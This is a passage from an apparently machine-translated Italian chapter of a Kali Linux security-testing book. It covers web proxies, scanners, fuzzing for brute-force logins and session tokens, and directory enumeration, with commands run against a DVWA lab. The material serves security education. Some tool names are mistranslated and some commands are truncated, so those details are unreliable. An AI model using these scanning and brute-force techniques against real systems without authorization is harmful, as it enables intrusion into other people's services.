applicazioni web, perdiamo la maggior parte delle pagine nei siti che si
basano sull'essere accessibili solo agli utenti giusti.
MANCIA
Una delle prime cose che qualsiasi applicazione di test web farà, comprese le applicazioni basate su
proxy, è ottenere un elenco di tutte le pagine. Ciò aiuta a identificare l'ambito. Il processo è
comunemente chiamato spidering . Ottenere l'elenco delle pagine in anticipo consente al tester di
includere o escludere pagine dal test.
Suite per il ruttino
Burp Suite è un programma di test basato su proxy che offre numerose
funzionalità ed è multipiattaforma, quindi può essere eseguito su
Windows, Linux e macOS: ovunque sia possibile eseguire Java.
Personalmente, sono un grande fan di Burp Suite. La sfida è che la versione
di Burp Suite inclusa con Kali è limitata, perché Burp Suite ha una versione
commerciale che sblocca tutte le funzionalità. La buona notizia è che se
vuoi usare la versione commerciale, è relativamente poco costosa,
specialmente se guardi alcuni dei programmi o suite di test più noti.
NOTA
Per usare un tester basato su proxy, devi configurare il tuo browser per usare il proxy per tutte le
richieste web. In Firefox, che è il browser predefinito in Kali, vai su Preferenze → Avanzate → Rete →
Impostazioni di connessione. Configura localhost e porta 8080 per l'indirizzo in Configurazione
manuale. Dovresti anche selezionare la casella di controllo per usare questo proxy per tutti i protocolli.
L'interfaccia di Burp Suite può richiedere un po' di tempo per abituarsi.
Ogni funzione è una scheda diversa e ogni scheda può avere delle sottoschede aggiuntive. Alcune delle opzioni dell'interfaccia utente in Burp Suite
possono essere controintuitive. Ad esempio, quando vai alla scheda Proxy,
vedrai un pulsante "Intercept is on" che sembra essere premuto. Per
disattivare la funzionalità di intercettazione, fai clic su questo pulsante per
essenzialmente de-spingerla. Puoi vederlo nella Figura 8-3 , così come il
resto dell'interfaccia e tutte le schede che mostrano tutte le funzionalità,
ad alto livello, di Burp Suite.
Figura 8-3. Finestra Burp Suite
MANCIA
Troverete Burp Suite nel menu Kali sotto Web Application Testing.
Il testo evidenziato che dice Nuovo compito live mostra che Burp
Suite ha intercettato una richiesta. Ciò richiede l'intervento dell'utente.
Puoi inoltrare, eliminare o apportare modifiche e quindi inoltrare. La
richiesta è in testo normale, perché HTTP è un protocollo di testo normale,
quindi non sono richiesti strumenti speciali per modificare la richiesta. Devi
solo modificare il testo di fronte a te nel modo che ritieni più sensato, in
base ai tuoi requisiti di test. Questo non significa che devi eseguire tutti i
test manualmente. Potrebbe essere più facile iniziare se disattivi
semplicemente l'intercettazione per un po'. Ciò registrerà l'URL di partenza
e da lì possiamo scansionare l'host.
Una delle sfide dello spidering è che ogni sito può avere link a pagine di
altri siti. Uno spider può seguire ogni link che trova, il che potrebbe
significare che presto avrai metà di tutte le pagine disponibili su Internet
registrate nella tua Burp Suite. Burp Suite imposta un ambito che limita
quali pagine saranno sottoposte a spidering e testate in seguito. Quando
avvii uno spider, Burp Suite ti chiederà di modificare l'ambito. La Figura 8-4
mostra la scheda Target in Burp Suite con il menu contestuale in alto, che ci
dà accesso alla funzionalità dello spider.
Figura 8-4. Scheda Burp Suite Target con ragno
Con la versione commerciale, puoi anche eseguire una scansione attiva, il
che significa che eseguirà un gran numero di attacchi contro le pagine
nell'ambito. Sfortunatamente, questa funzionalità è disabilitata
nell'edizione community, che è quella fornita con Kali. Tuttavia, abbiamo
accesso a una delle funzionalità più interessanti di Burp Suite: l'Intruder. In
sostanza, l'Intruder è uno strumento di attacco fuzzing. Quando invii una
pagina all'Intruder, cosa che puoi fare dal menu contestuale, puoi
selezionare i parametri nella richiesta e dire a Burp Suite come vuoi
compilare quei parametri nel corso del test.
Con la versione commerciale, ottieni elenchi preconfezionati. Purtroppo,
l'edizione community richiede che tu compili tu stesso gli elenchi di valori.
Ovviamente, puoi usare gli elenchi di parole disponibili in Kali in Burp Suite.
La figura 8-5 mostra la scheda Intruder, che esamina Posizioni. Le posizioni
ti consentono di selezionare i parametri che vuoi manipolare. Vedrai anche
un menu a discesa per "Tipo di attacco". Il tipo di attacco indica a Burp
Suite quanti parametri stai manipolando e come vuoi manipolarli. Se è solo
un singolo parametro, hai un singolo set di payload. Se hai più parametri,
usi un singolo set di payload o usi più payload? Come esegui l'iterazione
attraverso i più payload? Questo è ciò che la selezione "Tipo di attacco"
indicherà a Burp Suite.
Figura 8-5. Intruso della suite Burp
Una volta selezionati i parametri che vuoi manipolare, passi alla scheda
Payloads. Ciò ti consente di caricare i payload e, forse ancora più
importante, di impostare l'elaborazione del payload.
Utilizzare un semplice elenco di parole come rockyou.txt potrebbe non
essere sufficiente. Le persone prendono payload semplici e li modificano in
modi specifici. Possono sostituire le lettere con numeri che sembrano loro,
ad esempio (3 per e, 4 per a e così via). La funzionalità Payload Processing
consente di configurare regole che modificheranno il tuo elenco di base di
payload mentre funziona attraverso i diversi payload.
In precedenza abbiamo parlato di dirottamento di sessione. Burp Suite
potrebbe essere in grado di aiutare a identificare i token di autenticazione,
eseguendo un'analisi su di essi per determinare se sono prevedibili. Per
questo, dovresti usare la scheda Sequencer. Se i token possono essere
previsti, questo potrebbe consentire a un aggressore di determinare cos'è
un token o di crearne uno. Puoi inviare richieste al Sequencer da altri
strumenti Burp Suite oppure puoi semplicemente usare una cattura di
pacchetti che puoi inviare a questo strumento.
Sebbene possa richiedere un po' di tempo per abituarsi, soprattutto con
tutte le opzioni disponibili per la configurazione, Burp Suite esegue test
approfonditi, anche con il numero limitato di funzionalità nell'edizione
community in Kali. Questo è un ottimo punto di partenza per chi vuole
imparare come funzionano gli scambi tra un server e un client e come la
modifica di tali richieste può avere un impatto sul funzionamento
dell'applicazione.
Proxy di attacco Zed
OWASP gestisce un elenco di categorie di vulnerabilità comuni. Questo ha
lo scopo di istruire sviluppatori e addetti alla sicurezza su come proteggere
le loro applicazioni e i loro ambienti dagli attacchi, riducendo al minimo il
numero di errori che portano a queste vulnerabilità. Oltre all'elenco delle
vulnerabilità, OWASP ha creato un tester per applicazioni Web. Anche
questo è un tester basato su proxy, come Burp Suite. Tuttavia, Zed Attack
Proxy (ZAP) ha alcune funzionalità aggiuntive oltre a eseguire
semplicemente test basati su proxy.
MANCIA
Troverete Zed Attack Proxy nel menu Kali sotto Web Application Testing con il nome zap .
La prima, e forse la più importante, differenza tra Burp Suite e ZAP è nella
scheda Avvio rapido che si ottiene quando si avvia ZAP. È possibile vederla
nella Figura 8-6 . Dalla scheda Avvio rapido, è possibile selezionare
Scansione automatica, che eseguirà una scansione automatica rispetto al
target selezionato. Ciò analizzerà il sito e quindi eseguirà test su tutte le
pagine trovate. Questa funzionalità presuppone che tutto ciò che si
desidera testare possa essere trovato solo tramite link sulle pagine. Se si
hanno URL o pagine aggiuntive all'interno del sito ma non sono
raggiungibili tramite link che seguono l'analisi in cima al sito, non verranno
testate con questo approccio. Se è presente una pagina di accesso, ZAP
potrebbe non essere in grado di andare oltre utilizzando una scansione
automatica, il che significa che potrebbe essere necessario aiutare ZAP.
Figura 8-6. Scansione automatica ZAP
Come con Burp Suite, puoi configurare il tuo browser per usare ZAP come
proxy. Ciò consentirà a ZAP di intercettare le richieste di manipolazione e di
popolare l'elenco Siti sulla sinistra. Da lì, puoi selezionare cosa fare con
ogni URL usando il menu contestuale. Puoi vedere la selezione nella Figura
8-7 . Una cosa che probabilmente vogliamo fare prima è scansionare il sito.
Tuttavia, prima di ciò, dobbiamo assicurarci di aver effettuato l'accesso
all'applicazione. Il sito in questione qui è DVWA, che è scaricabile
gratuitamente e può essere utilizzato per comprendere meglio gli attacchi
basati sul Web. Ha una pagina di accesso per accedere a tutti gli esercizi.
Figura 8-7. Selezione degli attacchi disponibili in ZAP
Una volta che il sito è stato scansionato, possiamo vedere cosa ci aspetta.
Possiamo farlo visualizzando non solo tutte le pagine e la tecnologia in atto
sul sito, ma anche tutte le richieste e le risposte. Quando selezioni una
delle pagine sul lato sinistro dall'elenco Siti, ti verranno presentate delle
informazioni in alto. Ciò include la scheda Richiesta, che ti mostra le
intestazioni HTTP che sono state inviate al server. Vedrai anche la scheda
Risposta, che mostra non solo le intestazioni HTTP ma anche l'HTML che è
stato inviato dal server al client.
NOTA
Sebbene lo spidering possa sembrare a basso impatto, perché tutto ciò che fa ZAP è richiedere pagine
proprio come faresti navigando nel sito, potrebbe avere conseguenze negative. Qualche anno fa, sono
riuscito a far aumentare la CPU su un server su cui stavo testando un'applicazione scritta in Java.
L'applicazione apparentemente perdeva oggetti di memoria (non li distruggeva in modo efficace) e le
richieste ad alta velocità significavano che molti di essi si accumulavano rapidamente, costringendo il
processo di garbage collection a intervenire per cercare di ripulire. Tutto questo per dire che devi stare
attento anche quando stai facendo qualcosa che sembra semplice. Ad alcune aziende non piace che le
loro applicazioni si blocchino durante i test, a meno che non sia stato concordato in anticipo.
Nella scheda Risposta, vedrai le intestazioni nel riquadro superiore e
l'HTML nel riquadro inferiore. Se guardi la scheda Richiesta, vedrai le
intestazioni HTTP in alto con i parametri che sono stati inviati in basso. La
Figura 8-8 mostra una Richiesta con parametri. Se selezioni uno di questi
parametri, puoi fare lo stesso tipo di cosa che siamo stati in grado di fare
prima con Intruder di Burp Suite. Invece di essere chiamato Intruder,
questo è chiamato Fuzzer e puoi vedere il menu contestuale che mostra
l'elenco delle funzioni che possono essere eseguite sul parametro
selezionato. Quello che stiamo cercando è, non sorprendentemente,
elencato come Fuzz.
NOTA
Il fuzzing è l'acquisizione di un parametro di input e l'invio di dati anomali all'applicazione. Questo
potrebbe essere il tentativo di inviare stringhe dove sono previsti numeri interi, oppure potrebbero
essere stringhe lunghe o qualsiasi cosa che l'applicazione potrebbe non aspettarsi. L'intenzione,
spesso, è quella di mandare in crash un'applicazione. In questo caso, il fuzzing viene utilizzato per
variare i dati inviati all'applicazione. Questo potrebbe essere utilizzato per attacchi brute-force.
Figura 8-8. Selezione dei parametri da fuzz
Una volta selezionato il parametro e indicato che intendiamo sottoporlo a
fuzz, otterremo un'altra finestra di dialogo che ci consente di indicare i
termini con cui desideriamo sostituire il parametro originale. La finestra di
dialogo ci consente di fornire un set di stringhe, aprire un file e utilizzare il
contenuto, utilizzare uno script e inviare numeri o altri set di dati. La figura
8-9 mostra la selezione di un file con cui sostituire il contenuto del
parametro. Una volta eseguito il fuzzer, esso analizzerà tutto il contenuto
del file, sostituendo il parametro originale con ogni elemento nel file. Il
fuzzer ci consentirà di selezionare più parametri da sottoporre a fuzz.
Utilizzando questo tipo di tecnica, puoi eseguire attacchi brute-force su
nomi utente e password nei campi di login. Potresti fuzzare gli identificatori
di sessione per vedere se riesci a ottenerne uno che convalidi. Potresti
inviare input all'applicazione che potrebbe bloccarla. Il fuzzer in ZAP è
potente e fornisce molte capacità per un tester di sicurezza. Dipende
dall'immaginazione e dall'abilità del tester, nonché dalle potenziali
aperture nell'applicazione. Utilizzando il fuzzer, puoi modificare non solo i
parametri inviati all'applicazione, ma anche i campi di intestazione. Ciò ha
il potenziale di avere un impatto sul server web stesso.
Figura 8-9. Determinazione del contenuto dei parametri
ZAP può effettuare una scansione passiva, il che significa che rileverà
potenziali vulnerabilità durante la navigazione del sito. Inoltre, puoi
eseguire una scansione attiva. La scansione passiva effettuerà delle
determinazioni basandosi solo su ciò che vede, senza eseguire alcun test.
Osserva senza entrare nel mezzo. Una scansione attiva invierà richieste al
server per identificare le vulnerabilità. ZAP conosce gli attacchi comuni e
come innescarli, quindi invia richieste volte a determinare se l'applicazione
potrebbe essere vulnerabile. Man mano che trova problemi, li troverai
nella scheda Avvisi in basso.
Gli avvisi sono categorizzati in base alla gravità. Sotto ogni gravità, troverai
un elenco di problemi. Ogni problema trovato avrà un elenco di URL che
sono suscettibili a quel problema. Come con altri scanner di vulnerabilità,
ZAP fornisce dettagli sulla vulnerabilità trovata, riferimenti ad essa correlati
e modi per mitigare la vulnerabilità. La figura 8-10 mostra i dettagli
correlati a una delle vulnerabilità che ZAP ha trovato in DVWA. Questo
particolare problema è stato classificato come basso rischio ma con media
confidenza. Puoi vedere dai dettagli forniti che ZAP ha fornito una
descrizione e un modo per rimediare o correggere la vulnerabilità.
Figura 8-10. Dettagli relativi a un risultato ZAP
ZAP è un programma completo di test per applicazioni web. Tra gli scanner,
il fuzzer e altre capacità di ZAP, puoi fare un sacco di buchi nelle
applicazioni web che ti è stato chiesto di testare. Come con molti altri
programmi di test o scansione, però, non puoi dare tutto per scontato con
ZAP. Questo è uno dei motivi per cui ti fornisce un punteggio di affidabilità.
Quando la confidenza è solo media, come detto in precedenza, non hai
alcuna garanzia che si tratti davvero di una vulnerabilità. In questo caso, la
correzione suggerita è solo una buona pratica. È importante controllare la
confidenza e convalidare qualsiasi scoperta prima di passarla all'azienda
per cui stai lavorando.
Scarabeo Web
Esistono molti strumenti di test basati su proxy, con approcci diversi. Alcuni
possono essere focalizzati su aree specifiche. Alcuni possono seguire un
approccio di analisi delle vulnerabilità più tradizionale. Altri, come
WebScarab , sono più incentrati sul fornirti gli strumenti di cui potresti aver
bisogno per analizzare un'applicazione web e smantellarla. Agisce come un
proxy, il che significa che stai navigando nei siti tramite esso per fornire un
modo per catturare e valutare i messaggi che vanno al server. Offre alcune
delle stesse capacità di altri strumenti di test basati su proxy.
MANCIA
Puoi trovare WebScarab nel menu Kali nella cartella Analisi delle applicazioni Web.
Un paio di rapide differenze sono evidenti quando si guarda per la prima
volta l'interfaccia, come si può vedere nella Figura 8-11 . Una è l'attenzione
all'autenticazione. Si possono vedere le schede per SAML, OpenID,
WSFederation e Identity. Questo suddivide i diversi modi di autenticazione
alle applicazioni web in modo da poterli analizzare. Fornisce inoltre modi
per attaccare i diversi schemi di autenticazione. Sotto ciascuna delle
schede ci sono schede aggiuntive, che danno accesso a più funzionalità
correlate a ciascuna categoria. WebScarab offre inoltre la possibilità di
creare i propri messaggi completamente da zero. Si può vedere come
creare il messaggio nella Figura 8-11 poiché quella scheda è in primo
piano.
Figura 8-11. WebScarab
Simile a ciò che può fare Burp Suite, WebScarab eseguirà un'analisi
sull'identificatore di sessione. Attaccare gli identificatori di sessione è una
cosa importante, come avrai intuito. Ottenere identificatori di sessione che
siano veramente casuali e legati al sistema in cui si trova la sessione
appartiene a è una cosa importante. Ciò è vero soprattutto perché i
computer diventano più potenti e possono eseguire molti più calcoli in un
breve periodo di tempo per analisi e attacchi bruteforce. WebScarab
potrebbe non essere così completo come alcuni degli altri strumenti che
abbiamo esaminato, ma fornisce alcune capacità in modo diverso rispetto
ad altri. Dopotutto, si tratta tanto di fornire agli sviluppatori modi per
testare quanto di fornire agli addetti alla sicurezza più capacità.
Proxy di Paro
Paros è uno strumento più datato. In quanto tale, non ha le capacità di
alcuni degli altri. Si concentra principalmente su alcuni degli attacchi che
erano seri più di un decennio fa. La buona notizia, se così si può chiamare,
è che quegli stessi attacchi sono ancora problemi seri, anche se uno di essi
è forse meno diffuso di quanto non fosse una volta. L'iniezione SQL
continua a essere una seria preoccupazione, anche se lo scripting cross-site
è stato un po' messo da parte per alcune strategie di attacco più recenti.
Tuttavia, Paros è uno strumento di test basato su proxy, scritto in Java, che
esegue test in base a policy configurate. La Figura 8-12 mostra la
configurazione delle policy disponibile per Paros.
MANCIA
Paros può essere avviato dal menu Kali sotto Web Application Analysis. Può anche essere avviato dalla
riga di comando con il comando paros .
Figura 8-12. Configurazione della policy Paros
Paros ha un'interfaccia molto più semplice rispetto ad altri strumenti che
abbiamo esaminato, il che non dovrebbe sorprendere molto considerando
che non fa molto. Tuttavia, non sottovalutare Paros. Ha ancora molte
capacità. Una di queste è che genera un report che alcuni degli altri
strumenti che esaminerai non faranno. Ti consente anche di cercare nei
risultati e di fare codifica/hashing dall'interno dell'applicazione. Non è un
cattivo strumento di test con cui trascorrere un po' di tempo, a patto che tu
sappia cosa farà e cosa non farà.
Attacchi Web automatizzati
Molto di ciò che abbiamo esaminato è stato automatizzato o almeno in
grado di essere in grado di eseguire test automatizzati. Altri strumenti sono
focalizzati sui test basati sul Web, tuttavia, che potrebbero essere più
specifici e forse meno configurabili. Questi strumenti sono un mix di
strumenti basati su console e GUI. Per essere onesti, molti strumenti basati
su console sono disponibili in Kali che eseguono questo test automatizzato
che potrebbe essere focalizzato su una particolare sottosezione di attività
piuttosto che essere uno strumento di test di vulnerabilità Web a servizio
completo.
Ricognizione
Abbiamo parlato dell'importanza di ottenere una mappa completa
dell'applicazione. Potresti trovare utile ottenere l'elenco completo delle
pagine che sarebbero disponibili da uno spider del sito. Il programma
skipfish può eseguire la ricognizione di un sito web. Puoi passare molti
parametri al programma per determinare cosa viene scansionato e come
viene scansionato, ma un'esecuzione semplice è qualcosa come skipfish -A
admin:password -o skipdir http://192.168.1.20 , che è ciò che è stato
eseguito per ottenere l'output mostrato nell'esempio 8-5 . Il parametro -A
indica a skipfish come accedere all'applicazione web e -o indica in quale
directory deve essere archiviato l'output del programma.
Esempio 8-5. Utilizzo di skipfish per la ricognizione
skipfish versione 2.10b di
lcamtuf@google.com - 192.168.1.20
Statistiche di scansione:
Tempo di scansione: 0:00:15.700
Richieste HTTP: 12511 (796,8/s), 7415 kB in, 40
Compressione: 2130 kB in, 6216 kB in uscita
(48,9%
Errori HTTP: 0 errori di rete, 0 errori di
protocollo, 0
Strette di mano TCP: 310 totali (40,4
richieste/connessione)
Errori TCP: 0 guasti, 0 timeout, 9 eliminazioni
Link esterni: 1 saltato
Richieste in sospeso: 0
Statistiche del database:
Pivot: 63 totali, 57 eseguiti (90,48%)
In corso: 0 in attesa, 0 init, 0 attacchi, 6
Nodi mancanti: 0 individuati
Tipi di nodo: 1 serv, 10 dir, 33 file, 3 pinf
Problemi riscontrati: 34 info, 0 warn, 0 low, 0
medium
Dimensione del dizionario: 48 parole (48 nuove),
5 estensioni
Firme: 77 totali [+] Copia
delle risorse statiche...
[+] Ordinamento e annotazione dei nodi di
scansione: 63
[+] Alla ricerca di voci duplicate: 63
[+] Conteggio dei nodi univoci: 47 [+]
Salvataggio dei dati pivot per strumenti di
terze parti...
[+] Scrittura descrizione scansione...
[+] Scrittura dell'albero di
scansione: 63 [+] Generazione
di visualizzazioni di
riepilogo...
[+] Segnala salvato in 'dvwa/index.html'
[0x6db61523 [+] È stata una giornata fantastica
per la scienza!
Noterai che alla fine dell'output c'è un riferimento a una pagina HTML. La
pagina è stata creata da skipfish ed è un modo per guardare i risultati
trovati dal programma. Più che creare un semplice elenco di pagine,
skipfish genera un elenco interattivo di pagine. Puoi vedere nella Figura 813 come appare la pagina di output. Ottieni un elenco di categorie di
contenuti trovate dal programma. Quando clicchi sulla categoria, ottieni
l'elenco delle pagine che rientrano in quella categoria. Ad esempio,
cliccando su XHTML+XML ottieni un elenco di 21 pagine che puoi vedere
nella Figura 8-13 . L'unica pagina effettiva che è tornata è login.php . Se
vuoi vedere più dettagli, puoi cliccare su show trace per ottenere la
richiesta HTTP, la risposta HTTP e l'output HTML per la pagina.
Figura 8-13. Elenco delle pagine interattive di Skipfish
Oltre a fornire un elenco di pagine categorizzate per tipo e la trascrizione
completa dell'interazione, skipfish ti fornirà un elenco di potenziali
problemi che sono stati trovati. Puoi vedere questo elenco nella Figura 814 . Se clicchi su un problema dall'elenco, vedrai un elenco di pagine che
erano potenzialmente vulnerabili a quel problema.
Figura 8-14. Elenco dei problemi di Skipfish
skipfish è stato scritto da Michal Zalewski, lo stesso sviluppatore che ha
scritto p0f , che esegue la ricognizione passiva. Ha anche scritto un
programma di test per applicazioni web basato su proxy chiamato Rat
Proxy, che era precedentemente disponibile in Kali Linux. Alcune delle
stesse capacità che erano in Rat Proxy sono disponibili in skipfish . Una
cosa interessante di questo programma è che otterrai alcuni risultati che
non otterresti usando altri strumenti. Se li trovi applicabili dipende da te e
dalla tua valutazione dell'applicazione, ma fornisce un altro punto di
riferimento.
nicotina
È tempo di tornare alla console. Lo scanner nikto è uno dei primi scanner di
vulnerabilità web, anche se ha continuato a essere aggiornato, il che lo
mantiene aggiornato con le tecnologie e gli attacchi più recenti. nikto può
essere aggiornato con gli ultimi plug-in e database eseguendolo con update come parametro. nikto utilizza un file di configurazione in
/etc/nikto.conf che indica dove si trovano i plug-in e i database. Inoltre,
puoi configurare i server proxy e quali librerie SSL utilizzare. Le
impostazioni predefinite funzionano bene e puoi vedere un'esecuzione di
nikto che utilizza la configurazione predefinita nell'Esempio 8-6 .
Esempio 8-6. Test con nikto
──(kilroy@badmilo)-[~]
└─$ nikto -id admin:password -followredirects -ho
Versione Nikto 2.5.0
----------------------------------------------+ IP di destinazione: 192.168.1.20
+ Nome host di destinazione: 192.168.1.20
+ Porta di destinazione: 80
+ Ora di inizio: 2023-11-12 18:11:39 (GMT-5
----------------------------------------------+ Server: Apache/2.4.55 (Ubuntu)
+ /: Il titolo anti-clickjacking X-Frame-Options
Vedere: https://developer.mozilla.org/enUS/docs/Web + /: L'intestazione X-Content-TypeOptions non è impostata per visualizzare il
contenuto del sito in un diverso
https://www.netsparker.com/web-vulnerability-scan
missing-content-type-header/ + Pagina radice /
reindirizza a: login.php
+ Nessuna directory CGI trovata (usare '-C all'
per forzare + /config/: indicizzazione della
directory trovata.
+ /config/: Potrebbero essere disponibili
informazioni di configurazione + /tests/: Trovata
indicizzazione della directory.
+ /test/: Potrebbe essere interessante.
+ /database/: Trovata l'indicizzazione della
directory.
+ /database/: Trovata la directory del database.
+ /docs/: Trovata l'indicizzazione della
directory.
+ /login.php: Trovata la pagina/sezione di
accesso amministratore.
+ 8102 richieste: 0 errore(i) e 10 elemento(i)
segnalati
+ Ora di fine: 2023-11-12 18:13:23 (GMT-5
-----------------------------------------------
+ 1 host testato
Per eseguire l'implementazione di DVWA, abbiamo dovuto specificare le
informazioni di accesso. Questo viene fatto usando il parametro -id e poi
fornendo il nome utente e la password. Per DVWA, stiamo usando le
impostazioni di accesso predefinite di admin per il nome utente e la
password per la password. La pagina indice di questo sito reindirizza a
login.php , quindi aggiungiamo il parametro della riga di comando
followredirects . Vedrai che anche con la sicurezza impostata su bassa per
DVWA, nikto non scopre nulla. nikto ha dei plugin. Per impostazione
predefinita, li esegue tutti, ma puoi specificare quali plugin vuoi eseguire.
Se hai bisogno di sapere quali plugin sono disponibili, esegui
semplicemente nikto -list-plugins .
wapiti
Un altro strumento da riga di comando disponibile è wapiti . Questo
eseguirà una serie di test, che puoi vedere elencati nell'output
nell'Esempio 8-7 . Questa è solo una parte dell'output dall'esecuzione dello
strumento. Se desideri un output più gradevole, puoi aprire il file HTML
generato. Il percorso al file HTML è incluso alla fine dell'output.
Esempio 8-7. Test con wapiti
──(kilroy@badmilo)-[~]
└─$ wapiti -u http://192.168.1.20 -a admin%passwo
__ __ _ _ _ _____
/ / /\ \ \__ _ _ __ (_) |_(_)___ /
\ \/ \/ / _` | '_\| | __| | |_ \
\ /\ / (_| | |_) | | |_| |___) |
\/ \/ \__,_| .__/|_|\__|_|____/
|_|
Wapiti-3.0.4 (wapiti.sourceforge.io)
[*] Fate attenzione! Stasera luna
nuova.
[*] Salvataggio dello stato della scansione,
attendere...
Nota
========
Questa scansione è stata salvata nel file ↩
/home/kilroy/.wapiti/scans/192.168.1.20_folder_aa
[*] Wapiti ha trovato 3 URL e moduli durante la
scansione
[*] Caricamento moduli: backup, blindsql,
brute_login_form, bust
exec, file, htaccess, http_headers, metodi, n
shellshock, sql, ssrf, wapp, xss, xxe Problema
con il database wapp locale.
Download dal web...
[*] Avvio modulo csp
CSP non è impostato
[*] Avvio del modulo http_headers
Controllo delle opzioni X-Frame:
X-Frame-Options non è impostato
Controllo della protezione X-XSS:
La protezione X-XSS non è
impostata. Controllo delle opzioni
X-Content-Type:
X-Content-Type-Options non è impostato
Controllo Strict-Transport-Security:
Strict-Transport-Security non è impostato
[*] Avvio del modulo cookieflags
Controllo cookie: sicurezza
Il flag HttpOnly non è impostato nel cookie:
sicurezza
Il flag di sicurezza non è impostato nel cookie:
sicurezza
Controllo cookie: PHPSESSID Il flag di sicurezza
non è impostato nel cookie: PHPSESSID
dirbuster e
gobuster
Lavorando con i siti web, scoprirai che spesso le directory e le pagine del
sito non sono accessibili solo tramite spidering. Ricorda che lo spidering
presuppone che tutto nel sito sia disponibile iniziando con un URL e
attraversando ogni collegamento su ogni pagina scoperta. Non è sempre
così. Un modo per scoprire directory aggiuntive è usare un attacco bruteforce. Questo funziona inviando richieste a directory che sono
generalmente fornite da un elenco di parole. Alcuni degli strumenti che
abbiamo esaminato finora sono in grado di fare questo tipo di attacco
brute-force sui server web per identificare directory che potrebbero non
essere state trovate in uno spider. Mentre un paio di strumenti che
abbiamo esaminato eseguiranno una certa quantità di scoperta di
directory, non hanno le stesse capacità di forzare brute-force i nomi delle
directory.
NOTA
Quando un server web riceve una richiesta per un percorso di directory senza alcun file (pagina)
specifico, restituisce la pagina indice identificata che esiste in quella directory. Le pagine indice sono
identificate dal nome nella configurazione del server web e sono comunemente qualcosa come
index.html , index.htm , index.php o qualcosa di simile. Se la directory non ha una pagina indice, il
server web dovrebbe restituire un errore. Se l'elenco della directory è consentito dal server, verrà
presentato l'elenco di tutti i file nella directory. È considerata una vulnerabilità di sicurezza avere un
server web configurato in questo modo perché potrebbero essere presentati file di cui gli utenti
remoti non dovrebbero essere a conoscenza, inclusi file che potrebbero contenere informazioni di
autenticazione.
Il programma dirbuster è un programma basato su GUI che eseguirà questo
tipo di test. È scritto in Java, il che dovrebbe significare che è
multipiattaforma. La Figura 8-15 mostra dirbuster che esegue il test su un
elenco di parole fornito su un sito Web anch'esso fornito. Per semplificare,
il pacchetto dirbuster fornisce un set di elenchi di parole da cui lavorare.
Puoi, ovviamente, fornire il tuo elenco di parole o usarne un altro che
potresti trovare da qualche parte. Gli elenchi di parole forniti da dirbuster
coprono alcune directory comuni che potrebbero essere trovate e
potrebbero effettivamente essere nascoste. Questi elenchi di parole sono
solo file di testo, quindi dovrebbero essere facili da creare, se desideri
utilizzare i tuoi.
Figura 8-15. Dirbuster testa un sito web
Un altro programma che esegue una funzione simile è gobuster . Una delle
principali differenze tra questo e dirbuster è che gobuster è un programma
basato su console. Questo è importante se hai solo accesso SSH al tuo
sistema Kali. Poiché ho alcuni dei miei sistemi in esecuzione su un server
VM a cui accedo da remoto, spesso è più facile per me usare SSH. È un po'
più veloce ed è più facile catturare l'output usando una sessione SSH.
Posso usare SSH su uno dei miei sistemi Kali con gobuster . Con dirbuster ,
potrei accedervi da remoto, ma avrei bisogno di un server X in esecuzione
sul sistema in cui mi trovo fisicamente, e poi dovrei inoltrare X da Kali. A
volte è un po' più facile usare SSH, a meno che tu non possa dedicare
hardware alla tua installazione Kali.
gobuster può funzionare in più modalità. Useremo la scansione delle
directory con un elenco di parole. L'output fornito è semplice. Puoi vedere
un'esecuzione di gobuster nell'Esempio 8-8 . Uno svantaggio di gobuster è
che il pacchetto non è dotato di elenchi di parole. Fortunatamente, sono
disponibili altri elenchi di parole. Il pacchetto dirbuster include elenchi di
parole che puoi utilizzare. Puoi anche utilizzare gli elenchi di parole in
/usr/share/wordlists/dirb , poiché sono stati curati per includere possibilità
comuni per nomi di directory basati sul Web.
Esempio 8-8. Test per directory con gobuster
┌──(kilroy@badmilo)-[~]
└─$ gobuster dir -w /usr/share/wordlist/dirbuste
-u http://192.168.1.20
=================================================
===== Gobuster v3.6 di OJ Reeves (@TheColonial) e
Christian Mehlmaue
=================================================
=
[+] Indirizzo: http://192.168.1.20
[+] Metodo: GET
[+] Discussioni: 10
[+] Elenco parole: /usr/share/wordlists
[+] Codici di stato negativi: 404
[+] Agente utente: gobuster/3.6
[+] Timeout: 10s
=================================================
Avvio di gobuster in modalità enumerazione
directory
=================================================
/database (Stato: 301) [Dimensione: 315]
/docs (Stato: 301) [Dimensione: 311]
/tests (Stato: 301) [Dimensione: 312]
/config (Stato: 301) [Dimensione: 313]
/esterno (Stato: 301) [Dimensione: 315]
/vulnerabilità (Stato: 301) [Dimensione: 322]
Avanzamento: 83753 / 141709 (59,10%)
Oltre a usare un elenco di parole e cercare directory, possiamo usare il
fuzzing, che prende la parola FUZZ nell'URL fornito e la sostituisce. Questo
ti consente di indirizzare più precisamente dove stai cercando all'interno
della struttura di directory del server web. gobuster enumererà anche i
sottodomini DNS. Puoi anche usarlo per cercare bucket Amazon Simple
Storage Service (S3).
Una delle cose belle di gobuster è che ottieni codici di stato che indicano la
risposta dal server. Naturalmente, ottieni codici di stato anche da dirbuster
. Una differenza è che un'esecuzione di dirbuster fornisce un elenco esteso,
incluso ciò che otterresti da uno spider. È più difficile separare ciò che è
stato determinato dall'elenco di parole e ciò che è stato catturato
eseguendo una sorta di spider sul server.
Server applicativi basati su Java
I server applicativi basati su Java sono comuni. Potresti imbatterti in
Tomcat o JBoss, e questi sono solo i server applicativi open source
disponibili per Java. Ne esistono anche molti commerciali. Gli strumenti
possono essere utilizzati per testare i server applicativi Java open source.
Una ragione di ciò è che sono state associate a questi server molteplici
vulnerabilità, tra cui credenziali predefinite note. Un modo semplice per
compromettere un server applicativo Java come Tomcat è a volte
semplicemente fornire credenziali predefinite note. Mentre queste
vulnerabilità sono state comunemente ripulite rapidamente, ciò non
cambia il fatto che molti sistemi legacy potrebbero non aver ripulito il loro
comportamento, per così dire.
JBoss è un server applicativo che supporta Java, attualmente gestito da Red
Hat. JBoss, come molti software complessi, richiede competenza per
installarlo e configurarlo bene in un ambiente di produzione. Quando si
tratta di test, potrebbe essere necessario andare oltre l'applicazione e dare
un'occhiata all'infrastruttura che ospita l'applicazione. JBoss non è, di per
sé, l'applicazione web. Ospita l'applicazione e la esegue. Il client si
connette a JBoss, che passa i messaggi all'applicazione per l'elaborazione.
Il programma JBoss-Autopwn è stato sviluppato come un modo per testare
automaticamente i server JBoss. Ci sono due applicazioni separate, a
seconda del sistema operativo di destinazione. Mentre JBoss è sviluppato
da Red Hat, un'azienda che opera nel settore Linux con più distribuzioni
Linux, il server applicativo funziona su Linux e Windows. È qui che entra in
gioco la ricognizione. Per determinare quale programma esegui, devi
